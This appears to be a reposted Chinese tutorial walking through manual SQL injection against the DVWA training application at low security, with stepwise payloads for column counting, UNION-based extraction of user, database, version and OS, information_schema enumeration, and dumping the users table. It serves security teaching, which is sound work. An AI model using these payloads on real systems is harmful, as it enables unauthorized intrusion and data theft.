dvwa安全級別為low,進入sql injection頁面,提示輸入user id,輸入正確的id,將顯示id first name,surname信息。
嘗試輸入"'",返回錯誤。存在注入點。
嘗試遍歷數據庫表,提示輸入的值為ID,初步判斷為數字類型注入。嘗試輸入:1 or 1=1,嘗試遍歷數據庫表。結果失敗。
1 or 1=1遍歷數據庫表失敗,猜測程序將此處看成了字符型,可嘗試輸入 1' or '1'='1 后遍歷出數據庫中所有內容。下面嘗試結合各種不同語句,得到不同結果。
利用order by 語句查詢,輸入 1'order by 1 - - 頁面顯示正常,1'order by 2 - - 顯示正常,1'order by 3 - - 報錯,判斷查詢結果值為2列。(注意語句中- - 后邊有空格,- -之間沒有空格)
使用user(),database(),version()三個內置函數得到數據庫的賬戶名,數據庫名稱,數據庫版本信息,首先參數注入 1' and 1=2 union select 1,2 - -(- -之間無空格,- -后有空格)。得出first name處顯示為查詢結果第一列的值,surname處顯示為查詢結果第二列的值。
在得知顯示之后,使用user(),database(),version(),語句 1' and 1=2 union select user(),database() - - 得到數據庫用戶以及數據庫名稱。鏈接數據庫的用戶為root@localhost,數據庫名稱為dvwa。
通過注入1' and 1=2 union select version(),database() - - 得到數據庫版本為:5.0.90-community-nt。
通過注入:1'and 1=2 union select 1,@@global.version_compile_os from mysql.user –- 獲得操作系統信息為win32.
通過注入: 1' and 1=2 union select 1,schema_name from information_schema.schemata - - 查詢mysql數據庫,所有數據庫名字。這里利用了mysql默認數據庫information_scehma,該數據庫存儲了mysql所有數據庫和表的信息。
通過注入 1' and exists(select * from users) - - 猜解dvwa數據庫中表名(該語句中表名為users,該表實際沒有存放用戶名和密碼)
猜解字段名:1' and exists(select 字段名 from 表名) - - ,這里實際測試字段名first_name和last_name。實際語句 1' and exists(select first_name from users) - -以及1' and exists(select last_name from users) - - 猜解字段名。
爆出數據庫中字段內容。 1' and 1=2 union select first_name,last_name from users - - 這里其實如果是存放管理員賬戶的表,那么用戶名和密碼就可以爆出了。
源代碼
相關推薦:
閱讀DVWA系統代碼之config.inc.php
以上就是DVWA之php+mysql手工注入的詳細內容,更多請關注 其它相關文章!
鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。
新聞熱點
疑難解答